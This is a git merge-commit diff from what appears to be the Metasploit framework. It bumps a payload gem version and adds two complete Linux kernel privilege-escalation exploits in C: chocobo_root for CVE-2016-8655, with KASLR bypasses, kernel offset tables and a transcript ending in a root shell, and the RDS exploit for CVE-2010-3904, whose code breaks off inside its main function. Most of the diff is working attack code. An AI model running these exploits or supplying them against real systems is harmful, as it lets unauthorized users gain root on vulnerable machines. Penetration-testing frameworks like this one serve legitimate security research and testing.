Merge branch 'master' into local_api_docs

GSoC/Meterpreter_Web_Console
James Barnett 2018-05-23 10:06:12 -05:00
commit b83ee106f7
47 changed files with 2336 additions and 309 deletions

View File

@ -18,7 +18,7 @@ PATH
metasploit-concern
metasploit-credential
metasploit-model
metasploit-payloads (= 1.3.34)
metasploit-payloads (= 1.3.37)
metasploit_data_models
metasploit_payloads-mettle (= 0.3.8)
mqtt
@ -161,7 +161,7 @@ GEM
activemodel (~> 4.2.6)
activesupport (~> 4.2.6)
railties (~> 4.2.6)
metasploit-payloads (1.3.34)
metasploit-payloads (1.3.37)
metasploit_data_models (3.0.0)
activerecord (~> 4.2.6)
activesupport (~> 4.2.6)

Binary file not shown.

View File

@ -0,0 +1,945 @@
/*
chocobo_root.c
linux AF_PACKET race condition exploit for CVE-2016-8655.
Includes KASLR and SMEP/SMAP bypasses.
For Ubuntu 14.04 / 16.04 (x86_64) kernels 4.4.0 before 4.4.0-53.74.
All kernel offsets have been tested on Ubuntu / Linux Mint.
vroom vroom
*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=
user@ubuntu:~$ uname -a
Linux ubuntu 4.4.0-51-generic #72-Ubuntu SMP Thu Nov 24 18:29:54 UTC 2016 x86_64 x86_64 x86_64 GNU/Linux
user@ubuntu:~$ id
uid=1000(user) gid=1000(user) groups=1000(user)
user@ubuntu:~$ gcc chocobo_root.c -o chocobo_root -lpthread
user@ubuntu:~$ ./chocobo_root
linux AF_PACKET race condition exploit by rebel
kernel version: 4.4.0-51-generic #72
proc_dostring = 0xffffffff81088090
modprobe_path = 0xffffffff81e48f80
register_sysctl_table = 0xffffffff812879a0
set_memory_rw = 0xffffffff8106f320
exploit starting
making vsyscall page writable..
new exploit attempt starting, jumping to 0xffffffff8106f320, arg=0xffffffffff600000
sockets allocated
removing barrier and spraying..
version switcher stopping, x = -1 (y = 174222, last val = 2)
current packet version = 0
pbd->hdr.bh1.offset_to_first_pkt = 48
*=*=*=* TPACKET_V1 && offset_to_first_pkt != 0, race won *=*=*=*
please wait up to a few minutes for timer to be executed. if you ctrl-c now the kernel will hang. so don't do that.
closing socket and verifying.......
vsyscall page altered!
stage 1 completed
registering new sysctl..
new exploit attempt starting, jumping to 0xffffffff812879a0, arg=0xffffffffff600850
sockets allocated
removing barrier and spraying..
version switcher stopping, x = -1 (y = 30773, last val = 0)
current packet version = 2
pbd->hdr.bh1.offset_to_first_pkt = 48
race not won
retrying stage..
new exploit attempt starting, jumping to 0xffffffff812879a0, arg=0xffffffffff600850
sockets allocated
removing barrier and spraying..
version switcher stopping, x = -1 (y = 133577, last val = 2)
current packet version = 0
pbd->hdr.bh1.offset_to_first_pkt = 48
*=*=*=* TPACKET_V1 && offset_to_first_pkt != 0, race won *=*=*=*
please wait up to a few minutes for timer to be executed. if you ctrl-c now the kernel will hang. so don't do that.
closing socket and verifying.......
sysctl added!
stage 2 completed
binary executed by kernel, launching rootshell
root@ubuntu:~# id
uid=0(root) gid=0(root) groups=0(root),1000(user)
*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=
Shoutouts to:
jsc for inspiration (https://www.youtube.com/watch?v=x4UDIfcYMKI)
mcdelivery for delivering hotcakes and coffee
11/2016
by rebel
---
Updated by <bcoles@gmail.com>
- check number of CPU cores
- KASLR bypasses
- additional kernel targets
https://github.com/bcoles/kernel-exploits/tree/cve-2016-8655
*/
#define _GNU_SOURCE
#include <fcntl.h>
#include <poll.h>
#include <pthread.h>
#include <sched.h>
#include <signal.h>
#include <stdbool.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/klog.h>
#include <sys/mman.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <sys/stat.h>
#include <sys/syscall.h>
#include <sys/sysinfo.h>
#include <sys/utsname.h>
#include <sys/wait.h>
#include <arpa/inet.h>
#include <linux/if_packet.h>
#include <linux/sched.h>
#include <netinet/tcp.h>
#include <netinet/if_ether.h>
#define DEBUG
#ifdef DEBUG
# define dprintf printf
#else
# define dprintf
#endif
#define ENABLE_KASLR_BYPASS 1
// Will be overwritten if ENABLE_KASLR_BYPASS
unsigned long KERNEL_BASE = 0xffffffff81000000ul;
// Will be overwritten by detect_versions()
int kernel = -1;
// New sysctl path
const char *SYSCTL_NAME = "hack";
const char *SYSCTL_PATH = "/proc/sys/hack";
volatile int barrier = 1;
volatile int vers_switcher_done = 0;
struct kernel_info {
char *kernel_version;
unsigned long proc_dostring;
unsigned long modprobe_path;
unsigned long register_sysctl_table;
unsigned long set_memory_rw;
};
struct kernel_info kernels[] = {
{ "4.4.0-21-generic #37~14.04.1-Ubuntu", 0x084220, 0xc4b000, 0x273a30, 0x06b9d0 },
{ "4.4.0-22-generic #40~14.04.1-Ubuntu", 0x084250, 0xc4b080, 0x273de0, 0x06b9d0 },
{ "4.4.0-24-generic #43~14.04.1-Ubuntu", 0x084120, 0xc4b080, 0x2736f0, 0x06b880 },
{ "4.4.0-28-generic #47~14.04.1-Ubuntu", 0x084160, 0xc4b100, 0x273b70, 0x06b880 },
{ "4.4.0-31-generic #50~14.04.1-Ubuntu", 0x084160, 0xc4b100, 0x273c20, 0x06b880 },
{ "4.4.0-34-generic #53~14.04.1-Ubuntu", 0x084160, 0xc4b100, 0x273c40, 0x06b880 },
{ "4.4.0-36-generic #55~14.04.1-Ubuntu", 0x084160, 0xc4b100, 0x273c60, 0x06b890 },
{ "4.4.0-38-generic #57~14.04.1-Ubuntu", 0x084210, 0xe4b100, 0x2742e0, 0x06b890 },
{ "4.4.0-42-generic #62~14.04.1-Ubuntu", 0x084260, 0xe4b100, 0x274300, 0x06b880 },
{ "4.4.0-45-generic #66~14.04.1-Ubuntu", 0x084260, 0xe4b100, 0x274340, 0x06b880 },
//{"4.4.0-46-generic #67~14.04.1-Ubuntu",0x0842f0,0xe4b100,0x274580,0x06b880},
{ "4.4.0-47-generic #68~14.04.1-Ubuntu", 0x0842f0, 0xe4b100, 0x274580, 0x06b880 },
//{"4.4.0-49-generic #70~14.04.1-Ubuntu",0x084350,0xe4b100,0x274b10,0x06b880},
{ "4.4.0-51-generic #72~14.04.1-Ubuntu", 0x084350, 0xe4b100, 0x274750, 0x06b880 },
{ "4.4.0-21-generic #37-Ubuntu", 0x087cf0, 0xe48e80, 0x286310, 0x06f370 },
{ "4.4.0-22-generic #40-Ubuntu", 0x087d40, 0xe48f00, 0x2864d0, 0x06f370 },
{ "4.4.0-24-generic #43-Ubuntu", 0x087e60, 0xe48f00, 0x2868f0, 0x06f370 },
{ "4.4.0-28-generic #47-Ubuntu", 0x087ea0, 0xe48f80, 0x286df0, 0x06f370 },
{ "4.4.0-31-generic #50-Ubuntu", 0x087ea0, 0xe48f80, 0x286e90, 0x06f370 },
{ "4.4.0-34-generic #53-Ubuntu", 0x087ea0, 0xe48f80, 0x286ed0, 0x06f370 },
{ "4.4.0-36-generic #55-Ubuntu", 0x087ea0, 0xe48f80, 0x286e50, 0x06f360 },
{ "4.4.0-38-generic #57-Ubuntu", 0x087f70, 0xe48f80, 0x287470, 0x06f360 },
{ "4.4.0-42-generic #62-Ubuntu", 0x087fc0, 0xe48f80, 0x2874a0, 0x06f320 },
{ "4.4.0-43-generic #63-Ubuntu", 0x087fc0, 0xe48f80, 0x2874b0, 0x06f320 },
{ "4.4.0-45-generic #66-Ubuntu", 0x087fc0, 0xe48f80, 0x2874c0, 0x06f320 },
//{"4.4.0-46-generic #67-Ubuntu",0x088040,0xe48f80,0x287800,0x06f320},
{ "4.4.0-47-generic #68-Ubuntu", 0x088040, 0xe48f80, 0x287800, 0x06f320 },
//{"4.4.0-49-generic #70-Ubuntu",0x088090,0xe48f80,0x287d40,0x06f320},
{ "4.4.0-51-generic #72-Ubuntu", 0x088090, 0xe48f80, 0x2879a0, 0x06f320},
};
#define VSYSCALL 0xffffffffff600000
#define PROC_DOSTRING (KERNEL_BASE + kernels[kernel].proc_dostring)
#define MODPROBE_PATH (KERNEL_BASE + kernels[kernel].modprobe_path)
#define REGISTER_SYSCTL_TABLE (KERNEL_BASE + kernels[kernel].register_sysctl_table)
#define SET_MEMORY_RW (KERNEL_BASE + kernels[kernel].set_memory_rw)
#define KMALLOC_PAD 64
int pad_fds[KMALLOC_PAD];
// * * * * * * * * * * * * * * Kernel structs * * * * * * * * * * * * * * * *
struct ctl_table {
const char *procname;
void *data;
int maxlen;
unsigned short mode;
struct ctl_table *child;
void *proc_handler;
void *poll;
void *extra1;
void *extra2;
};
#define CONF_RING_FRAMES 1
struct tpacket_req3 tp;
int sfd;
int mapped = 0;
struct timer_list {
void *next;
void *prev;
unsigned long expires;
void (*function)(unsigned long);
unsigned long data;
unsigned int flags;
int slack;
};
// * * * * * * * * * * * * * * * Helpers * * * * * * * * * * * * * * * * * *
void *setsockopt_thread(void *arg)
{
while (barrier) {}
setsockopt(sfd, SOL_PACKET, PACKET_RX_RING, (void*) &tp, sizeof(tp));
return NULL;
}
void *vers_switcher(void *arg)
{
int val,x,y;
while (barrier) {}
while (1) {
val = TPACKET_V1;
x = setsockopt(sfd, SOL_PACKET, PACKET_VERSION, &val, sizeof(val));
y++;
if (x != 0) break;
val = TPACKET_V3;
x = setsockopt(sfd, SOL_PACKET, PACKET_VERSION, &val, sizeof(val));
if (x != 0) break;
y++;
}
dprintf("[.] version switcher stopping, x = %d (y = %d, last val = %d)\n",x,y,val);
vers_switcher_done = 1;
return NULL;
}
// * * * * * * * * * * * * * * Heap shaping * * * * * * * * * * * * * * * * *
#define BUFSIZE 1408
char exploitbuf[BUFSIZE];
void kmalloc(void)
{
while(1)
syscall(__NR_add_key, "user", "wtf", exploitbuf, BUFSIZE - 24, -2);
}
void pad_kmalloc(void)
{
int x;
for (x = 0; x < KMALLOC_PAD; x++)
if (socket(AF_PACKET, SOCK_DGRAM, htons(ETH_P_ARP)) == -1) {
dprintf("[-] pad_kmalloc() socket error\n");
exit(EXIT_FAILURE);
}
}
// * * * * * * * * * * * * * * * Trigger * * * * * * * * * * * * * * * * * *
int try_exploit(unsigned long func, unsigned long arg, void *verification_func)
{
pthread_t setsockopt_thread_thread,a;
int val;
socklen_t l;
struct timer_list *timer;
int fd;
struct tpacket_block_desc *pbd;
int off;
sigset_t set;
sigemptyset(&set);
sigaddset(&set, SIGSEGV);
if (pthread_sigmask(SIG_BLOCK, &set, NULL) != 0) {
dprintf("[-] couldn't set sigmask\n");
exit(1);
}
dprintf("[.] new exploit attempt starting, jumping to %p, arg=%p\n", (void *)func, (void *)arg);
pad_kmalloc();
fd = socket(AF_PACKET, SOCK_DGRAM, htons(ETH_P_ARP));
if (fd == -1) {
dprintf("[-] target socket error\n");
exit(1);
}
pad_kmalloc();
dprintf("[.] done, sockets allocated\n");
val = TPACKET_V3;
setsockopt(fd, SOL_PACKET, PACKET_VERSION, &val, sizeof(val));
tp.tp_block_size = CONF_RING_FRAMES * getpagesize();
tp.tp_block_nr = 1;
tp.tp_frame_size = getpagesize();
tp.tp_frame_nr = CONF_RING_FRAMES;
// try to set the timeout to 10 seconds
// the default timeout might still be used though depending on when the race was won
tp.tp_retire_blk_tov = 10000;
sfd = fd;
if (pthread_create(&setsockopt_thread_thread, NULL, setsockopt_thread, (void *)NULL)) {
dprintf("[-] Error creating thread\n");
return 1;
}
pthread_create(&a, NULL, vers_switcher, (void *)NULL);
usleep(200000);
dprintf("[.] removing barrier and spraying...\n");
memset(exploitbuf, '\x00', BUFSIZE);
timer = (struct timer_list *)(exploitbuf+(0x6c*8)+6-8);
timer->next = 0;
timer->prev = 0;
timer->expires = 4294943360;
timer->function = (void *)func;
timer->data = arg;
timer->flags = 1;
timer->slack = -1;
barrier = 0;
usleep(100000);
while (!vers_switcher_done) usleep(100000);
l = sizeof(val);
getsockopt(sfd, SOL_PACKET, PACKET_VERSION, &val, &l);
dprintf("[.] current packet version = %d\n",val);
pbd = mmap(0, tp.tp_block_size * tp.tp_block_nr, PROT_READ | PROT_WRITE, MAP_SHARED, sfd, 0);
if (pbd == MAP_FAILED) {
dprintf("[-] could not map pbd\n");
exit(1);
} else {
off = pbd->hdr.bh1.offset_to_first_pkt;
dprintf("[.] pbd->hdr.bh1.offset_to_first_pkt = %d\n", off);
}
if (val == TPACKET_V1 && off != 0) {
dprintf("*=*=*=* TPACKET_V1 && offset_to_first_pkt != 0, race won *=*=*=*\n");
} else {
dprintf("[-] race not won\n");
exit(2);
}
munmap(pbd, tp.tp_block_size * tp.tp_block_nr);
pthread_create(&a, NULL, verification_func, (void *)NULL);
dprintf("\n");
dprintf("[!] please wait up to a few minutes for timer to be executed.\n");
dprintf("[!] if you ctrl-c now the kernel will hang. so don't do that.\n");
dprintf("\n");
sleep(1);
dprintf("[.] closing socket and verifying...\n");
close(sfd);
kmalloc();
dprintf("[.] all messages sent\n");
sleep(31337);
exit(1);
}
int verification_result = 0;
void catch_sigsegv(int sig)
{
verification_result = 0;
pthread_exit((void *)1);
}
void *modify_vsyscall(void *arg)
{
unsigned long *vsyscall = (unsigned long *)(VSYSCALL+0x850);
unsigned long x = (unsigned long)arg;
sigset_t set;
sigemptyset(&set);
sigaddset(&set, SIGSEGV);
if (pthread_sigmask(SIG_UNBLOCK, &set, NULL) != 0) {
dprintf("[-] couldn't set sigmask\n");
exit(EXIT_FAILURE);
}
signal(SIGSEGV, catch_sigsegv);
*vsyscall = 0xdeadbeef+x;
if (*vsyscall == 0xdeadbeef+x) {
dprintf("[~] vsyscall page altered!\n");
verification_result = 1;
pthread_exit(0);
}
return NULL;
}
void verify_stage1(void)
{
pthread_t v_thread;
sleep(5);
int x;
for(x = 0; x < 300; x++) {
pthread_create(&v_thread, NULL, modify_vsyscall, 0);
pthread_join(v_thread, NULL);
if(verification_result == 1) {
exit(0);
}
write(2,".",1);
sleep(1);
}
dprintf("[-] could not modify vsyscall\n");
exit(EXIT_FAILURE);
}
void verify_stage2(void)
{
struct stat b;
sleep(5);
int x;
for(x = 0; x < 300; x++) {
if (stat(SYSCTL_PATH, &b) == 0) {
dprintf("[~] sysctl added!\n");
exit(0);
}
write(2,".",1);
sleep(1);
}
dprintf("[-] could not add sysctl\n");
exit(EXIT_FAILURE);
}
void exploit(unsigned long func, unsigned long arg, void *verification_func)
{
int status;
int pid;
retry:
pid = fork();
if (pid == 0) {
try_exploit(func, arg, verification_func);
exit(1);
}
wait(&status);
dprintf("\n");
if (WEXITSTATUS(status) == 2) {
dprintf("[.] retrying stage...\n");
kill(pid, 9);
sleep(2);
goto retry;
}
if (WEXITSTATUS(status) != 0) {
dprintf("[-] something bad happened, aborting exploit attempt\n");
exit(EXIT_FAILURE);
}
kill(pid, 9);
}
void wrapper(void)
{
struct ctl_table *c;
dprintf("[.] making vsyscall page writable...\n\n");
exploit(SET_MEMORY_RW, VSYSCALL, verify_stage1);
dprintf("[~] done, stage 1 completed\n");
sleep(5);
dprintf("[.] registering new sysctl...\n\n");
c = (struct ctl_table *)(VSYSCALL+0x850);
memset((char *)(VSYSCALL+0x850), '\x00', 1952);
strcpy((char *)(VSYSCALL+0xf00), SYSCTL_NAME);
memcpy((char *)(VSYSCALL+0xe00), "\x01\x00\x00\x00",4);
c->procname = (char *)(VSYSCALL+0xf00);
c->mode = 0666;
c->proc_handler = (void *)(PROC_DOSTRING);
c->data = (void *)(MODPROBE_PATH);
c->maxlen = 256;
c->extra1 = (void *)(VSYSCALL+0xe00);
c->extra2 = (void *)(VSYSCALL+0xd00);
exploit(REGISTER_SYSCTL_TABLE, VSYSCALL+0x850, verify_stage2);
dprintf("[~] done, stage 2 completed\n");
}
// * * * * * * * * * * * * * * * * * Detect * * * * * * * * * * * * * * * * *
void check_procs() {
int min_procs = 2;
int nprocs = 0;
nprocs = get_nprocs_conf();
if (nprocs < min_procs) {
dprintf("[-] system has less than %d processor cores\n", min_procs);
exit(EXIT_FAILURE);
}
dprintf("[.] system has %d processor cores\n", nprocs);
}
struct utsname get_kernel_version() {
struct utsname u;
int rv = uname(&u);
if (rv != 0) {
dprintf("[-] uname())\n");
exit(EXIT_FAILURE);
}
return u;
}
#define ARRAY_SIZE(x) (sizeof(x) / sizeof((x)[0]))
void detect_versions() {
struct utsname u;
char kernel_version[512];
u = get_kernel_version();
if (strstr(u.machine, "64") == NULL) {
dprintf("[-] system is not using a 64-bit kernel\n");
exit(EXIT_FAILURE);
}
if (strstr(u.version, "-Ubuntu") == NULL) {
dprintf("[-] system is not using an Ubuntu kernel\n");
exit(EXIT_FAILURE);
}
char *u_ver = strtok(u.version, " ");
snprintf(kernel_version, 512, "%s %s", u.release, u_ver);
int i;
for (i = 0; i < ARRAY_SIZE(kernels); i++) {
if (strcmp(kernel_version, kernels[i].kernel_version) == 0) {
dprintf("[.] kernel version '%s' detected\n", kernels[i].kernel_version);
kernel = i;
return;
}
}
dprintf("[-] kernel version not recognized\n");
exit(EXIT_FAILURE);
}
// * * * * * * * * * * * * * * syslog KASLR bypass * * * * * * * * * * * * * *
#define SYSLOG_ACTION_READ_ALL 3
#define SYSLOG_ACTION_SIZE_BUFFER 10
bool mmap_syslog(char** buffer, int* size) {
*size = klogctl(SYSLOG_ACTION_SIZE_BUFFER, 0, 0);
if (*size == -1) {
dprintf("[-] klogctl(SYSLOG_ACTION_SIZE_BUFFER)\n");
return false;
}
*size = (*size / getpagesize() + 1) * getpagesize();
*buffer = (char*)mmap(NULL, *size, PROT_READ | PROT_WRITE,
MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
*size = klogctl(SYSLOG_ACTION_READ_ALL, &((*buffer)[0]), *size);
if (*size == -1) {
dprintf("[-] klogctl(SYSLOG_ACTION_READ_ALL)\n");
return false;
}
return true;
}
unsigned long get_kernel_addr_trusty(char* buffer, int size) {
const char* needle1 = "Freeing unused";
char* substr = (char*)memmem(&buffer[0], size, needle1, strlen(needle1));
if (substr == NULL) return 0;
int start = 0;
int end = 0;
for (end = start; substr[end] != '-'; end++);
const char* needle2 = "ffffff";
substr = (char*)memmem(&substr[start], end - start, needle2, strlen(needle2));
if (substr == NULL) return 0;
char* endptr = &substr[16];
unsigned long r = strtoul(&substr[0], &endptr, 16);
r &= 0xffffffffff000000ul;
return r;
}
unsigned long get_kernel_addr_xenial(char* buffer, int size) {
const char* needle1 = "Freeing unused";
char* substr = (char*)memmem(&buffer[0], size, needle1, strlen(needle1));
if (substr == NULL) {
return 0;
}
int start = 0;
int end = 0;
for (start = 0; substr[start] != '-'; start++);
for (end = start; substr[end] != '\n'; end++);
const char* needle2 = "ffffff";
substr = (char*)memmem(&substr[start], end - start, needle2, strlen(needle2));
if (substr == NULL) {
return 0;
}
char* endptr = &substr[16];
unsigned long r = strtoul(&substr[0], &endptr, 16);
r &= 0xfffffffffff00000ul;
r -= 0x1000000ul;
return r;
}
unsigned long get_kernel_addr_syslog() {
unsigned long addr = 0;
char* syslog;
int size;
dprintf("[.] trying syslog...\n");
if (!mmap_syslog(&syslog, &size))
return 0;
if (strstr(kernels[kernel].kernel_version, "14.04.1") != NULL)
addr = get_kernel_addr_trusty(syslog, size);
else
addr = get_kernel_addr_xenial(syslog, size);
if (!addr)
dprintf("[-] kernel base not found in syslog\n");
return addr;
}
// * * * * * * * * * * * * * * kallsyms KASLR bypass * * * * * * * * * * * * * *
unsigned long get_kernel_addr_kallsyms() {
FILE *f;
unsigned long addr = 0;
char dummy;
char sname[256];
char* name = "startup_64";
char* path = "/proc/kallsyms";
dprintf("[.] trying %s...\n", path);
f = fopen(path, "r");
if (f == NULL) {
dprintf("[-] open/read(%s)\n", path);
return 0;
}
int ret = 0;
while (ret != EOF) {
ret = fscanf(f, "%p %c %s\n", (void **)&addr, &dummy, sname);
if (ret == 0) {
fscanf(f, "%s\n", sname);
continue;
}
if (!strcmp(name, sname)) {
fclose(f);
return addr;
}
}
fclose(f);
dprintf("[-] kernel base not found in %s\n", path);
return 0;
}
// * * * * * * * * * * * * * * System.map KASLR bypass * * * * * * * * * * * * * *
unsigned long get_kernel_addr_sysmap() {
FILE *f;
unsigned long addr = 0;
char path[512] = "/boot/System.map-";
char version[32];
struct utsname u;
u = get_kernel_version();
strcat(path, u.release);
dprintf("[.] trying %s...\n", path);
f = fopen(path, "r");
if (f == NULL) {
dprintf("[-] open/read(%s)\n", path);
return 0;
}
char dummy;
char sname[256];
char* name = "startup_64";
int ret = 0;
while (ret != EOF) {
ret = fscanf(f, "%p %c %s\n", (void **)&addr, &dummy, sname);
if (ret == 0) {
fscanf(f, "%s\n", sname);
continue;
}
if (!strcmp(name, sname)) {
fclose(f);
return addr;
}
}
fclose(f);
dprintf("[-] kernel base not found in %s\n", path);
return 0;
}
// * * * * * * * * * * * * * * mincore KASLR bypass * * * * * * * * * * * * * *
unsigned long get_kernel_addr_mincore() {
unsigned char buf[getpagesize()/sizeof(unsigned char)];
unsigned long iterations = 20000000;
unsigned long addr = 0;
dprintf("[.] trying mincore info leak...\n");
/* A MAP_ANONYMOUS | MAP_HUGETLB mapping */
if (mmap((void*)0x66000000, 0x20000000000, PROT_NONE,
MAP_SHARED | MAP_ANONYMOUS | MAP_HUGETLB | MAP_NORESERVE, -1, 0) == MAP_FAILED) {
dprintf("[-] mmap()\n");
return 0;
}
int i;
for (i = 0; i <= iterations; i++) {
/* Touch a mishandle with this type mapping */
if (mincore((void*)0x86000000, 0x1000000, buf)) {
dprintf("[-] mincore()\n");
return 0;
}
int n;
for (n = 0; n < getpagesize()/sizeof(unsigned char); n++) {
addr = *(unsigned long*)(&buf[n]);
/* Kernel address space */
if (addr > 0xffffffff00000000) {
addr &= 0xffffffffff000000ul;
if (munmap((void*)0x66000000, 0x20000000000))
dprintf("[-] munmap()\n");
return addr;
}
}
}
if (munmap((void*)0x66000000, 0x20000000000))
dprintf("[-] munmap()\n");
dprintf("[-] kernel base not found in mincore info leak\n");
return 0;
}
// * * * * * * * * * * * * * * KASLR bypasses * * * * * * * * * * * * * * * *
unsigned long get_kernel_addr() {
unsigned long addr = 0;
addr = get_kernel_addr_kallsyms();
if (addr) return addr;
addr = get_kernel_addr_sysmap();
if (addr) return addr;
addr = get_kernel_addr_syslog();
if (addr) return addr;
addr = get_kernel_addr_mincore();
if (addr) return addr;
dprintf("[-] KASLR bypass failed\n");
exit(EXIT_FAILURE);
return 0;
}
// * * * * * * * * * * * * * * * * * Main * * * * * * * * * * * * * * * * * *
void launch_rootshell(void)
{
int fd;
char buf[256];
struct stat s;
fd = open(SYSCTL_PATH, O_WRONLY);
if(fd == -1) {
dprintf("[-] could not open %s\n", SYSCTL_PATH);
exit(EXIT_FAILURE);
}
memset(buf, '\x00', 256);
readlink("/proc/self/exe", (char *)&buf, 256);
write(fd, buf, strlen(buf)+1);
socket(AF_INET, SOCK_STREAM, 132);
if (stat(buf,&s) == 0 && s.st_uid == 0) {
dprintf("[+] binary executed by kernel, launching rootshell\n");
lseek(fd, 0, SEEK_SET);
write(fd, "/sbin/modprobe", 15);
close(fd);
execl(buf, buf, NULL);
} else {
dprintf("[-] could not create rootshell\n");
exit(EXIT_FAILURE);
}
}
void setup_sandbox() {
if (unshare(CLONE_NEWUSER) != 0) {
dprintf("[-] unshare(CLONE_NEWUSER)\n");
exit(EXIT_FAILURE);
}
if (unshare(CLONE_NEWNET) != 0) {
dprintf("[-] unshare(CLONE_NEWNET)\n");
exit(EXIT_FAILURE);
}
}
int main(int argc, char **argv)
{
int status, pid;
struct utsname u;
char buf[512], *f;
if (getuid() == 0 && geteuid() == 0) {
chown("/proc/self/exe", 0, 0);
chmod("/proc/self/exe", 06755);
exit(0);
}
if (getuid() != 0 && geteuid() == 0) {
setresuid(0, 0, 0);
setresgid(0, 0, 0);
execl("/bin/bash", "bash", "-p", NULL);
exit(0);
}
dprintf("linux AF_PACKET race condition exploit by rebel\n");
dprintf("[.] starting\n");
dprintf("[.] checking hardware\n");
check_procs();
dprintf("[~] done, hardware looks good\n");
dprintf("[.] checking kernel version\n");
detect_versions();
dprintf("[~] done, version looks good\n");
#if ENABLE_KASLR_BYPASS
dprintf("[.] KASLR bypass enabled, getting kernel base address\n");
KERNEL_BASE = get_kernel_addr();
dprintf("[~] done, kernel text: %lx\n", KERNEL_BASE);
#endif
dprintf("[.] proc_dostring: %lx\n", PROC_DOSTRING);
dprintf("[.] modprobe_path: %lx\n", MODPROBE_PATH);
dprintf("[.] register_sysctl_table: %lx\n", REGISTER_SYSCTL_TABLE);
dprintf("[.] set_memory_rw: %lx\n", SET_MEMORY_RW);
pid = fork();
if (pid == 0) {
dprintf("[.] setting up namespace sandbox\n");
setup_sandbox();
dprintf("[~] done, namespace sandbox set up\n");
wrapper();
exit(0);
}
waitpid(pid, &status, 0);
launch_rootshell();
return 0;
}

View File

@ -0,0 +1,288 @@
// source: http://www.vsecurity.com/resources/advisory/20101019-1/
/*
* Linux Kernel <= 2.6.36-rc8 RDS privilege escalation exploit
* CVE-2010-3904
* by Dan Rosenberg <drosenberg@vsecurity.com>
*
* Copyright 2010 Virtual Security Research, LLC
*
* The handling functions for sending and receiving RDS messages
* use unchecked __copy_*_user_inatomic functions without any
* access checks on user-provided pointers. As a result, by
* passing a kernel address as an iovec base address in recvmsg-style
* calls, a local user can overwrite arbitrary kernel memory, which
* can easily be used to escalate privileges to root. Alternatively,
* an arbitrary kernel read can be performed via sendmsg calls.
*
* This exploit is simple - it resolves a few kernel symbols,
* sets the security_ops to the default structure, then overwrites
* a function pointer (ptrace_traceme) in that structure to point
* to the payload. After triggering the payload, the original
* value is restored. Hard-coding the offset of this function
* pointer is a bit inelegant, but I wanted to keep it simple and
* architecture-independent (i.e. no inline assembly).
*
* The vulnerability is yet another example of why you shouldn't
* allow loading of random packet families unless you actually
* need them.
*
* Greets to spender, kees, taviso, hawkes, team lollerskaters,
* joberheide, bla, sts, and VSR
*
*/
// Modified for Metasploit (see comments marked 'msf note')
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <fcntl.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <errno.h>
#include <string.h>
#include <sys/ptrace.h>
#include <sys/utsname.h>
#define RECVPORT 5555
#define SENDPORT 6666
int prep_sock(int port)
{
int s, ret;
struct sockaddr_in addr;
s = socket(PF_RDS, SOCK_SEQPACKET, 0);
if(s < 0) {
printf("[*] Could not open socket.\n");
exit(-1);
}
memset(&addr, 0, sizeof(addr));
addr.sin_addr.s_addr = inet_addr("127.0.0.1");
addr.sin_family = AF_INET;
addr.sin_port = htons(port);
ret = bind(s, (struct sockaddr *)&addr, sizeof(addr));
if(ret < 0) {
printf("[*] Could not bind socket.\n");
exit(-1);
}
return s;
}
void get_message(unsigned long address, int sock)
{
recvfrom(sock, (void *)address, sizeof(void *), 0,
NULL, NULL);
}
void send_message(unsigned long value, int sock)
{
int size, ret;
struct sockaddr_in recvaddr;
struct msghdr msg;
struct iovec iov;
unsigned long buf;
memset(&recvaddr, 0, sizeof(recvaddr));
size = sizeof(recvaddr);
recvaddr.sin_port = htons(RECVPORT);
recvaddr.sin_family = AF_INET;
recvaddr.sin_addr.s_addr = inet_addr("127.0.0.1");
memset(&msg, 0, sizeof(msg));
msg.msg_name = &recvaddr;
msg.msg_namelen = sizeof(recvaddr);
msg.msg_iovlen = 1;
buf = value;
iov.iov_len = sizeof(buf);
iov.iov_base = &buf;
msg.msg_iov = &iov;
ret = sendmsg(sock, &msg, 0);
if(ret < 0) {
printf("[*] Something went wrong sending.\n");
exit(-1);
}
}
void write_to_mem(unsigned long addr, unsigned long value, int sendsock, int recvsock)
{
if(!fork()) {
sleep(1);
send_message(value, sendsock);
exit(1);
}
else {
get_message(addr, recvsock);
wait(NULL);
}
}
typedef int __attribute__((regparm(3))) (* _commit_creds)(unsigned long cred);
typedef unsigned long __attribute__((regparm(3))) (* _prepare_kernel_cred)(unsigned long cred);
_commit_creds commit_creds;
_prepare_kernel_cred prepare_kernel_cred;
int __attribute__((regparm(3)))
getroot(void * file, void * vma)
{
commit_creds(prepare_kernel_cred(0));
return -1;
}
/* thanks spender... */
unsigned long get_kernel_sym(char *name)
{
FILE *f;
unsigned long addr;
char dummy;
char sname[512];
struct utsname ver;
int ret;
int rep = 0;
int oldstyle = 0;
f = fopen("/proc/kallsyms", "r");
if (f == NULL) {
f = fopen("/proc/ksyms", "r");
if (f == NULL)
goto fallback;
oldstyle = 1;
}
repeat:
ret = 0;
while(ret != EOF) {
if (!oldstyle)
ret = fscanf(f, "%p %c %s\n", (void **)&addr, &dummy, sname);
else {
ret = fscanf(f, "%p %s\n", (void **)&addr, sname);
if (ret == 2) {
char *p;
if (strstr(sname, "_O/") || strstr(sname, "_S."))
continue;
p = strrchr(sname, '_');
if (p > ((char *)sname + 5) && !strncmp(p - 3, "smp", 3)) {
p = p - 4;
while (p > (char *)sname && *(p - 1) == '_')
p--;
*p = '\0';
}
}
}
if (ret == 0) {
fscanf(f, "%s\n", sname);
continue;
}
if (!strcmp(name, sname)) {
fprintf(stdout, " [+] Resolved %s to %p%s\n", name, (void *)addr, rep ? " (via System.map)" : "");
fclose(f);
return addr;
}
}
fclose(f);
if (rep)
return 0;
fallback:
/* didn't find the symbol, let's retry with the System.map
dedicated to the pointlessness of Russell Coker's SELinux
test machine (why does he keep upgrading the kernel if
"all necessary security can be provided by SE Linux"?)
*/
uname(&ver);
if (strncmp(ver.release, "2.6", 3))
oldstyle = 1;
sprintf(sname, "/boot/System.map-%s", ver.release);
f = fopen(sname, "r");
if (f == NULL)
return 0;
rep = 1;
goto repeat;
}
int main(int argc, char * argv[])
{
unsigned long sec_ops, def_ops, cap_ptrace, target;
int sendsock, recvsock;
struct utsname ver;
